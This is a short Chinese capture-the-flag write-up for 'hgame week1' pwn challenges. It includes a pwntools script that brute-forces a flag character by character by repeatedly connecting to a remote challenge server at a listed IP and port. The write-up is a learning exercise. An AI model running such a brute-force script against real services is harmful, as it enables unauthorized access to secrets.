hgame week1
pwn
aaaaaaaaaa

圖片.png
瘋狂輸入a了解一下

圖片.png
薯片拯救世界
這道題感覺很奇怪

圖片.png
Ida是這樣
按照題目思路給一個buf的值 如果只給了一個h 而h恰好是s1第一個字母的話應(yīng)該會打破循環(huán)輸出點不一樣的東西然而事實上并沒有(程序試出來應(yīng)該是輸出勇者Ch1p在今天...覺醒了!)
emmmmmmmmmm
但是最后又的確是靠這個思路做出來的
因吹斯聽
flag頭幾個字母肯定是hgame{
先用一小段程序找了一下規(guī)律
主要邏輯是這樣
for i in range(32, 127):
sh.send(s + chr(i) + "\0")
try:
sh.recv()
except:
s+=chr(i)
break
print (s)
把s依次定義為h hg hga hgam 試了一下愉快地發(fā)現(xiàn)輸出來的字母要比真正字母的ASCII碼大2 我?????????????
至于為什么。。。這題已經(jīng)這么日怪了就不要在意這些了
然后爆破的思路就是nc瘋狂循環(huán)關(guān)閉再nc了
畢竟一次程序只能得到一個字母
所以最后exp是這樣的
from pwn import *
s = 'hgame'
for a in range(24):
sh=remote('118.24.3.214',10001)
sh.send('1')
sh.send('1')
sh.send('1')
sh.send('1')
sh.send('1')
for i in range(32, 127):
sh.send(s + chr(i) + "\0")
try:
sh.recv()
except:
s+=chr(i-2)
break
print (s)
sh.close()
sh.interactive()
有個問題是每次運行都可能會發(fā)生錯誤得到錯誤的字母
這種時候手動更新一下s就行了
垃圾題